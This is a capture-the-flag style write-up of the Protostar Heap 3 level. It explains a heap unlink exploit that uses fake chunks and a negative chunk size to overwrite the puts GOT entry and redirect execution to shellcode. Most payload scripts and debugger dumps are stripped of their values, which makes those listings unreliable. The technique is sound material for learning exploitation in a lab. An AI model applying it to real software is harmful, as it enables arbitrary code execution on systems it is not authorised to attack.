Exploiting Protostar – Heap Unlink Exploitation
In this article, we will be solving the 4th challenge from Heap Levels of Protostar.
Introduction
This level introduces us to a very old heap unlink vulnerability where one can exploit the malloc’s way of unlinking free heap chunks and gain code execution by overwriting arbitrary memory locations on the heap. If you have no idea on what heap or heap chunks means, you can have a look at my previous article here.
Downloads
The VM used in this article can be downloaded here
Note
The scope of this challenge is to execute the winner function, but we will also be leveraging its code execution to understand how different free() calls can overwrite the data on heap chunks and thus corrupt your shellcode.
Heap 3
The objective of this level is to execute the winner function. Let’s have a look at the disassembly of this binary.
(gdb) disass main Dump of assembler code for function main: 0x08048889 0x0804888a 0x0804888c 0x0804888f ; allocate 32 bytes for the first variable at [esp+0x14] 0x08048892 0x08048899 0x0804889e ; allocate 32 bytes for the second variable at [esp+0x18] 0x080488a2 0x080488a9 0x080488ae ; allocate 32 bytes for the third variable at [esp+0x1c] 0x080488b2 0x080488b9 0x080488be ; copy userinput to the first variable [esp+0x14] using vulnerable strcpy() call 0x080488c2 0x080488c5 0x080488c8 0x080488ca 0x080488ce 0x080488d2 0x080488d5 ; copy user input to the second variable [esp+0x18] using vulnerable strcpy() call 0x080488da 0x080488dd 0x080488e0 0x080488e2 0x080488e6 0x080488ea 0x080488ed ; copy user input to the third variable [esp+0x1c] using vulnerable strcpy() call 0x080488f2 0x080488f5 0x080488f8 0x080488fa 0x080488fe 0x08048902 0x08048905 ; free memory in reverse of their allocation ; i.e. free the third variable at [esp+0x1c] first 0x0804890a 0x0804890e 0x08048911 ; free the second variable at [esp+0x18] 0x08048916 0x0804891a 0x0804891d ; free the third variable at [esp+0x14] 0x08048922 0x08048926 0x08048929 0x0804892e 0x08048935 0x0804893a 0x0804893b End of assembler dump. (gdb) disass winner Dump of assembler code for function winner: 0x08048864 0x08048865 0x08048867 0x0804886a 0x08048871 0x08048876 0x0804887b 0x0804887f 0x08048882 0x08048887 0x08048888 End of assembler dump. (gdb) |
Before diving directly into the inner working of the malloc free algorithm, let’s first understand the operation of the application by going through its disassembly. By looking at the disassembled code, we can understand that it allocates some memory on the heap and stores the pointer to the memory location in the three variables. It further uses a vulnerable strcpy function to copy data onto those three memory locations and at the end free them in reverse order.
Let’s confirm the same by doing a dynamic analysis and diving into our favorite GNU debugger. As can be seen, we first initialized a breakpoint at first free() call (0x08048911) function calls and passed our input. We further listed down the process mappings to note the starting address of heap memory and examine 60 dwords of it.
(gdb) b *0x08048911 Breakpoint 1 (gdb) r AAAAAAAA BBBBBBBB CCCCCCCC Starting program: Breakpoint 1, 24 heap3/heap3.c: No such file or directory.
(gdb) info proc mappings process 1655 cmdline = cwd exe = Mapped address spaces: Start Addr
(gdb) x/60wx 0x804c000: 0x804c010: 0x804c020: 0x804c030: 0x804c040: 0x804c050: 0x804c060: 0x804c070: 0x804c080: 0x804c090: 0x804c0a0: 0x804c0b0: 0x804c0c0: 0x804c0d0: 0x804c0e0: (gdb) |
Notice that each of our inputs is being copied to different heap chunks with dwords, which indicates the following information
<Heap mem> 0x804c000 |
By looking at how our input is being laid out on the heap and the use of the strcpy function, we can deduce that we can overwrite heap chunks. Like in our previous article, we used such techniques to overwrite function pointers. However, we can see clearly that there is no function pointer on heap memory that we can use to call the winner function.
Heap Unlink Exploit to the Rescue
In the heap unlink exploit, we are exploiting how malloc free() is implemented and what happens when any unused chunk is removed from heap memory. So, when the free() is called some built-in checks are executed to free that part of memory which includes checking whether its neighboring chunks are free, too. If they are they will be merged and two pointers (fd and bk) are updated at the memory location which was initially returned via malloc call.
The consolidation/merging of chunks is done via a forward and backward consolidation process.
In backward consolidation, the checks include checking for a prev_inuse bit for the chunk before current chunk, if its free it is merged, and the size of the previous chunk is updated by adding current chunk size, and the current chunk pointer is updated to point to the previous chunk. However, in our case when a first free call is executed, i.e., free([esp+0x1c]) previous chunk ([esp+0x18]) will be in use thus this path of merging malloc won’t follow chunks.
In case of consolidating forward, malloc algorithm takes next chunk and checks from its next chunk if the prev_in_use bit is set, if it is it will unlink the chunk. In our case, now attacker’s fake chunk comes to picture where multiple counterfeit chunks trick the malloc in unlinking attackers chunk and writing data to an arbitrary memory location.
To get this exploitation technique working in our case, we also need to modify the chunk size so that it will be greater than 80 bytes, as our current chunk size currently falls under the fastbin chunk sizes which are not doubly linked. After that, we can update the forward and backward pointer from that double linked list to write data to an arbitrary memory location.
Exploitation Process
We will refer the above-discussed memory locations as follows:
a = DWORD ptr[esp+0x14]
b = DWORD ptr[esp+0x18]
c = DWORD ptr[esp+0x1c]
We will be using strcpy(b,argv[2]) to update the size of chunk at c (0x64+0x1) so that it will be greater than 80 bytes. Here 0x1 is for notifying that previous block is in use.
(gdb) r AAAAAAAA `python -c The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: Breakpoint 1, 24 (gdb) x/60wx 0x804c000: 0x804c010: 0x804c020: 0x804c030: 0x804c040: 0x804c050: 0x804c060: 0x804c070: 0x804c080: 0x804c090: 0x804c0a0: 0x804c0b0: 0x804c0c0: 0x804c0d0: 0x804c0e0: (gdb) |
Controlling Forward and Backward Pointers
To control forward and backward pointers we need to create another fake chunk without a prev_inuse bit and its size should also be greater than 80 bytes, i.e. (0x00000064) so when a free() is called this chunk gets unlinked with our defined forward and backward pointers. However, the problem here is we cannot pass null bytes as strcpy will terminate the rest of data when it sees null bytes.
To overcome this, we will be using a negative shifting technique described in Phrack Issue 57 Article 9. That is if we add two large values (0xfffffffc + 0x64 = 100000060) their entire sum won’t fit in 32bit size and thus only 0x00000060 will be written to dword. Thus, overcoming the zero-byte problem.
To conclude this, we will be adding new chunk with larger chunk size and pointers to overwrite printf (optimized to PUTS) GOT with pointer to our shellcode. We determined the GOT address of puts function as follows:
(gdb) disass 0x8048790 Dump of assembler code for function puts@plt: 0x08048790 0x08048796 0x0804879b End of assembler dump. (gdb) p 0x804b128–0xc $1 = (gdb) x 134525212 0x804b11c (gdb) |
We created three files named A, B, C with following contents:
A – Some Junk + shellcode (mov eax, address of winner plt; call eax)
B – some junk + 0x65 (To adjust the size of chunk C)
C – <some junk> 0xffffffc 0xffffffc <GOT addr> <pointer to our shellcode on heap>
# filename : a.py #!/usr/bin/env python print # filename : b.py #!/usr/bin/env python print # filename : c.py #!/usr/bin/env python import struct def
print |
Following screenshot shows the state of heap memory before and after the free() is executed. We can see that the chunk size of C is reduced by 4 bytes (0xffffffc+0x65 = 0x61) in after free section and our fake chunk has the size 0xfffffffc which is (11111111111111111111111111111100) last bit set to zero indicating that prev_inuse bit is not set and thus do merging, overwriting the GOT address of puts with the address of our shellcode.
(gdb) r `python /tmp/a.py` `python /tmp/b.py` `python /tmp/c.py` Starting program: Breakpoint 1, 24 heap3/heap3.c: No such file or directory.
(gdb) x/50wx ; state of heap before the exploit 0x804c000: 0x804c010: 0x804c020: 0x804c030: 0x804c040: 0x804c050: 0x804c060: 0x804c070: 0x804c080: 0x804c090: 0x804c0a0: 0x804c0b0: 0x804c0c0: (gdb) Continuing. Breakpoint 2, main (argc=4, argv=0xbffffcc4) 28 (gdb) x/50wx ; state of heap after the exploit 0x804c000: 0x804c010: 0x804c020: 0x804c030: 0x804c040: 0x804c050: 0x804c060: 0x804c070: 0x804c080: 0x804c090: 0x804c0a0: 0x804c0b0: 0x804c0c0: (gdb) Continuing. that wasn’t too bad now, was it? @ 1503231861 Program received signal SIGSEGV, Segmentation fault. 0x0804c020 (gdb) |
Executing exploit outside the GDB.
Code Execution:
For code execution, we planned our exploit as follows:
A – (mov eax, pointer to shellcode;call eax)
B – some junk + shellcode + next chunk size
C – some junk + size + pointers
# filename : a.py #!/usr/bin/env python jmp_addr = print # filename : b.py #!/usr/bin/env python shellcode = block_size = print # filename : c.py #!/usr/bin/env python import struct def
print |
Following screenshot shows the state of heap memory before and after the free() call. An observant user may also have noticed that we have placed our JMP Code and shellcode after some bytes. This is because free() will also overwrite the data at a memory location where malloc pointer returns. Thus, we need to place our shellcode at some memory location where it does not get corrupted.
Before free() 0x804c000: 0x804c010: After free() 0x804c000: 0x804c010: |
(gdb) r `python /tmp/a.py` `python /tmp/b.py` `python /tmp/c.py` Starting program: Breakpoint 1, 24 heap3/heap3.c: No such file or directory.
(gdb) x/50wx 0x804c000: 0x804c010: 0x804c020: 0x804c030: 0x804c040: 0x804c050: 0x804c060: 0x804c070: 0x804c080: 0x804c090: 0x804c0a0: 0x804c0b0: 0x804c0c0: (gdb) Continuing. Breakpoint 2, main (argc=4, argv=0xbffffcb4) 28 (gdb) x/50wx 0x804c000: 0x804c010: 0x804c020: 0x804c030: 0x804c040: 0x804c050: 0x804c060: 0x804c070: 0x804c080: 0x804c090: 0x804c0a0: 0x804c0b0: 0x804c0c0: (gdb) x/10i 0x804c034: 0x804c036: 0x804c037: 0x804c038: 0x804c03d: 0x804c042: 0x804c044: 0x804c046: 0x804c048: 0x804c04a: (gdb) |
The following screenshots show our shellcode being executed, both within and outside the GDB.
References
https://www.youtube.com/watch?v=HWhzH–89UQ
https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/
http://phrack.org/issues/57/9.html
https://sploitfun.wordpress.com/2015/02/26/heap-overflow-using-unlink/